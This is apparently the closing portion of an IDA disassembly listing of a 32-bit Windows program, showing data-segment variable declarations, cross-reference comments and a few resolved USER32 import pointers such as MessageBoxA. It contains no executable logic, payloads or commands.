byte_616861	db 3 dup(0)		; DATA XREF: .text:off_43378Co
		dd 132h	dup(0)
		db 2 dup(0)
word_616D2E	dw 0			; DATA XREF: .text:off_44240Co
		dd 17Fh	dup(0)
		db 2 dup(0)
word_61732E	dw 0			; DATA XREF: .text:off_442378o
		dd 7Fh dup(0)
		db 2 dup(0)
word_61752E	dw 0			; DATA XREF: .text:off_4422DCo
		dd 13Fh	dup(0)
		db 2 dup(0)
word_617A2E	dw 0			; DATA XREF: .text:off_4422CCo
		dd 2C50h dup(0)
		db 2 dup(0)
word_622B72	dw 0			; DATA XREF: .text:off_448FE4o
		dd 38B1h dup(0)
dword_630E38	dd 0Eh dup(0)						; sub_41BFDA+24o ...
dword_630E70	dd 100h	dup(0)	dword_631270	dd 0							; sub_41FB50:loc_41FCAFw
		dd 11h dup(0)
dword_6312B8	dd 0							; sub_420BEE+449w ...
		align 10h
byte_6312C0	db 0			; DATA XREF: .text:00420A58o
					; .text:00420ACAr ...
		align 4
		dd 3Fh dup(0)
dword_6313C0	dd 3 dup(0)	dword_6313CC	dd 0		dword_6313D0	dd 0							; sub_4241D4+A4w
		align 8
word_6313D8	dw 0			; DATA XREF: sub_4241D4+55r
					; sub_4241D4+9Ao
word_6313DA	dw 0			; DATA XREF: sub_4241D4+48r
		db 2 dup(0)
word_6313DE	dw 0			; DATA XREF: sub_4241D4+3Br
word_6313E0	dw 0			; DATA XREF: sub_4241D4+2Er
word_6313E2	dw 0			; DATA XREF: sub_4241D4+21r
		align 8
dword_6313E8	dd 0							; sub_42A86B:loc_42A894w ...
dword_6313EC	dd 0							; sub_42B22D:loc_42B23Fr ...
		dd 0
dword_6313F4	dd 0		dword_6313F8	dd 0							; sub_423F63+104r ...
dword_6313FC	dd 0		dword_631400	dd 0							; sub_427FF3+2Dw ...
		align 8
dword_631408	dd 6 dup(0)	dword_631420	dd 6 dup(0)	dword_631438	dd 6 dup(0)	dword_631450	dd 6 dup(0)	dword_631468	dd 0		byte_63146C	db 0			; DATA XREF: .text:00424F15w
byte_63146D	db 0			; DATA XREF: sub_423517:loc_42358Dr
		align 10h
dword_631470	dd 0		dword_631474	dd 0		dword_631478	dd 0		dword_63147C	dd 0		dword_631480	dd 0				align 8
dword_631488	dd 0							; sub_4291A8+27r ...
dword_63148C	dd 0		dword_631490	dd 0							; sub_42CEF8+4r ...
		align 8
dword_631498	dd 0				align 10h
byte_6314A0	db 0			; DATA XREF: sub_424828+5r
					; sub_4284FB+32w
		align 4
dword_6314A4	dd 0		dword_6314A8	dd 0							; sub_4284FB+97w
dword_6314AC	dd 0							; sub_429B43+38r ...
dword_6314B0	dd 0							; sub_429BA7+4Cw ...
		align 10h
dword_6314C0	dd 2 dup(0)						; .text:0042E7C7o
dword_6314C8	dd 0							; sub_4240A0:loc_42410Dr ...
		dd 3 dup(0)
dword_6314D8	dd 0							; sub_424DC3+C0r ...
		align 10h
dword_6314E0	dd 0				align 8
dword_6314E8	dd 0							; sub_42AB0B+4w ...
dword_6314EC	dd 41h dup(0)	dword_6315F0	dd 0							; sub_42B533+23w ...
dword_6315F4	dd 0		dword_6315F8	dd 0							; sub_42BADD:loc_42BB47w
dword_6315FC	dd 0				dd 1Ah dup(0)
dword_631668	dd 0							; sub_42D078+7Aw ...
		align 10h
dword_631670	dd 0							; sub_42D078+5Dr
dword_631674	dd 10h dup(0)	word_6316B4	dw 0			; DATA XREF: sub_42D320+A8r
word_6316B6	dw 0			; DATA XREF: sub_42D078+6Br
					; sub_42D320+DBr ...
word_6316B8	dw 0			; DATA XREF: sub_42D320+CAr
word_6316BA	dw 0			; DATA XREF: sub_42D320+D3r
					; sub_42D320:loc_42D412r
word_6316BC	dw 0			; DATA XREF: sub_42D320+C0r
word_6316BE	dw 0			; DATA XREF: sub_42D320+B8r
word_6316C0	dw 0			; DATA XREF: sub_42D320+B0r
word_6316C2	dw 0			; DATA XREF: sub_42D320+9Er
dword_6316C4	dd 0		dword_6316C8	dd 10h dup(0)	word_631708	dw 0			; DATA XREF: sub_42D320+46r
word_63170A	dw 0			; DATA XREF: sub_42D078:loc_42D106r
					; sub_42D320+78r ...
word_63170C	dw 0			; DATA XREF: sub_42D320+67r
word_63170E	dw 0			; DATA XREF: sub_42D320+70r
					; sub_42D320:loc_42D3A4r
word_631710	dw 0			; DATA XREF: sub_42D320+5Dr
word_631712	dw 0			; DATA XREF: sub_42D320+55r
word_631714	dw 0			; DATA XREF: sub_42D320+4Dr
word_631716	dw 0			; DATA XREF: sub_42D320+3Er
dword_631718	dd 0		dword_63171C	dd 0							; sub_42D078:loc_42D1D9r ...
dword_631720	dd 0							; sub_42D04A+10r ...
dword_631724	dd 0		; resolved to->USER32.MessageBoxA					; sub_42D64E+2Ew ...
dword_631728	dd 0		; resolved to->USER32.GetActiveWindow					; sub_42D64E:loc_42D69Dr
dword_63172C	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_42D64E+60r
dword_631730	dd 0		dword_631734	dd 0							; sub_42D7FC+81o
dword_631738	dd 0							; sub_42D7FC+4Ao
dword_63173C	dd 0							; sub_42D7FC+3Do
dword_631740	dd 0							; sub_42D7FC+57o
		align 8
dword_631748	dd 0							; sub_42E2C0+48w ...
		dd 2 dup(0)
dword_631754	dd 4 dup(0)						; .text:0044C1F8o ...
byte_631764	db 0			; DATA XREF: .text:loc_40321Er
					; .text:00403227w ...
byte_631765	db 0			; DATA XREF: sub_421D6B+6Fr
					; sub_421D6B+78w
		align 4
dword_631768	dd 0							; sub_42A95E+79w ...
		align 10h
dword_631770	dd 3 dup(0)						; sub_42A95E+179o ...
dword_63177C	dd 0							; sub_42A95E+168w ...
byte_631780	db 0			; DATA XREF: sub_42ABB1:loc_42ACBDw
					; sub_42ABB1:loc_42ACDAw ...
		align 4
		dd 3Fh dup(0)
byte_631880	db 0			; DATA XREF: sub_42A95E+6Eo
					; sub_42A95E+BEo ...
byte_631881	db 0			; DATA XREF: sub_4245FD+5Dr
					; sub_42A95E+ABw ...
		align 4
		dd 40h dup(0)
dword_631984	dd 0							; sub_42A95E+137w ...
dword_631988	dd 0							; sub_424380+5Ar ...
dword_63198C	dd 0							; sub_424380:loc_4243D3w ...
dword_631990	dd 0							; sub_42B22D+ADw
dword_631994	dd 0							; sub_42AD36+11w ...
dword_631998	dd 0							; sub_42319C:loc_4231E5r ...
dword_63199C	dd 0							; sub_42319C+11r ...
dword_6319A0	dd 0							; sub_42789E+5r ...
dword_6319A4	dd 0							; sub_42726C+25Ar ...
dword_6319A8	dd 0							; sub_42726C+311w ...
dword_6319AC	dd 0							; sub_42726C+22Dr ...
dword_6319B0	dd 0							; sub_427241r ...
dword_6319B4	dd 0							; sub_427241+8r ...
dword_6319B8	dd 0							; sub_423F63+64r ...
dword_6319BC	dd 0							; sub_4230B3+CEr ...
dword_6319C0	dd 0							; sub_4230B3+2Er ...
		dd 7 dup(0)
dword_6319E0	dd 0							; sub_424780+81r ...
dword_6319E4	dd 3Fh dup(0)	dword_631AE0	dd 0							; sub_426902+5r ...
dword_631AE4	dd 0							; sub_42B1D5+Fr ...
dword_631AE8	dd 0							; sub_424780+41w ...
		dd 5 dup(0)
dword_631B00	dd 0CEh	dup(0)						; .text:00449438o
dword_631E38	dd 0							; sub_41C254+19o
dword_631E3C	dd 331h	dup(0)	dword_632B00	dd 0							; sub_424780:loc_42479Aw ...
		dd 1C7h	dup(0)
		db 3 dup(0)
byte_633223	db 0			; DATA XREF: .text:off_43EC8Co
		align 1000h
_text		ends

; Section 3. (virtual address 00236000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00236000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 636000h
		dd 4Bh dup(0)
		db 2 dup(0)
word_63612E	dw 0			; DATA XREF: .text:off_4425E8o
		dd 34h dup(0)
		dd 18h dup(?)
		db ?
byte_636261	db 3 dup(?)		; DATA XREF: .text:off_43D30Co
		dd 32h dup(?)
		db 2 dup(?)
word_63632E	dw ?			; DATA XREF: .text:off_44258Co
		dd 0Fh dup(?)
		db ?
byte_63636D	db 3 dup(?)		; DATA XREF: .text:off_4337F8o
		dd 75h dup(?)
dword_636544	dd 3 dup(?)			db 3 dup(?)
byte_636553	db ?			; DATA XREF: .text:off_434A64o
		dd 248h	dup(?)
		db 2 dup(?)
word_636E76	dw ?			; DATA XREF: .text:off_43CF04o
		align 200h
_idata2		ends


		end start